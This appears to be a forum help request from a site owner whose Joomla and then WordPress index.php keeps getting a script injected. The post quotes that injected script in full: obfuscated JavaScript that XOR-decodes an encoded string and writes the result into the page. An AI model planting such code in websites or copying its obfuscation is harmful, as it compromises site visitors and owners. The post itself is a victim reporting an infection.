afgoneHi,
Initially my website was in joomla and i was notified by my host that i have a javascript in my index.php which prevented my site from functioning.
I decided to move from joomla and go to wordpress so i renamed the joomla directory to and created a new directory and installed latest wordpress.
Just today I discovered even in new wordpress installation the javascript appeared again and stopped it functioning properly in IE.... I am really lost when i contact the host they say oh change your pass etc but nothing more then that(I think they have an autogenrate email or something)
Can you please tell me a solution or advice.
The code is this and it gets inserted before <?php:
<script language='javascript'>var nQlmQomaLFXHTxyhyYTXYJt='';BPYnxbVEBoxhpRYoOvWeVqBE='FIdUPexFgVvEV';var invPOSuZRq='RVfIjvGNuBmZxQsulutEVdzXOIGTqVKnUjguBcMSY';NIohH='qSeqdDXyYqXrkvBqzGrG';var VmTWZmAJKP=0;FcuCjiqUebnVYfYlbSrwuxn='Falcft';var tjLyDJbYbFkyxO='%6A%0F%2F%18%17%2A%2B%55%31%1F%39%45%73%1B%01%18%05%4E%6A%79%07%1F%2A%2E%3A%22%26%5F%39%39%09%7A%03%09%5B%21%04%24%6C%3D%37%30%07%3C%06%02%65%6E%13%30%0C%37%1D%33%1C%07%08%10%06%78%74%54%58%78%3C%2A%35%3B%1D%3A%22%6E%32%57%45%1B%2D%41%6D%3B%3C%3B%31%0E%3D%57%54%76%6C%55%35%04%3E%0C%39%4E%57%5D%57%54%2D%25%14%1B%3B%2A%74%65%65%53%76%3D%1D%25%0B%04%10%7F%41%7C%71%79%3F%37%14%2E%03%18%30%27%11%36%05%67%5A%61%51%55%01%14%06%22%3F%0A%12%3D%26%2E%2F%20%4C%74%7B%4C%6B%56%48%1C%24%11%2C%3E%3C%6C';DlnAQWLTkYUuDBUfhVlWJPLM='lyeLbrzYQuVTMoq';var tYYHLcPe=tjLyDJbYbFkyxO.length/3;fuOPuPUcUF='xDxxmmnJhqgoJpttGvJTzitfj';tjLyDJbYbFkyxO=unescape(tjLyDJbYbFkyxO);QEyXFol='mFRzAnJkWvoUmC';for(IAIdxvSnFydGymmP=0;IAIdxvSnFydGymmP<tYYHLcPe;IAIdxvSnFydGymmP++){VmTWZmAJKP++;if(invPOSuZRq.length<=VmTWZmAJKP) VmTWZmAJKP=0;bFCsuPzHYQhIwc=tjLyDJbYbFkyxO.charCodeAt(IAIdxvSnFydGymmP); UeTxdO='YtKkmVIGDSYApS'; if(invPOSuZRq.charCodeAt(VmTWZmAJKP)!=bFCsuPzHYQhIwc) bFCsuPzHYQhIwc^=invPOSuZRq.charCodeAt(VmTWZmAJKP); nSWtksEjBtgVIfXzbCMJzV='KeXzQTbEmzeyX';nQlmQomaLFXHTxyhyYTXYJt+=String.fromCharCode(bFCsuPzHYQhIwc);} LATdDWcXFOSOTmtjlG='JuxqBsPWtrYKSud';document.write(nQlmQomaLFXHTxyhyYTXYJt);UydroNKaz='hyGrUXTWHw';</script>
Thanks
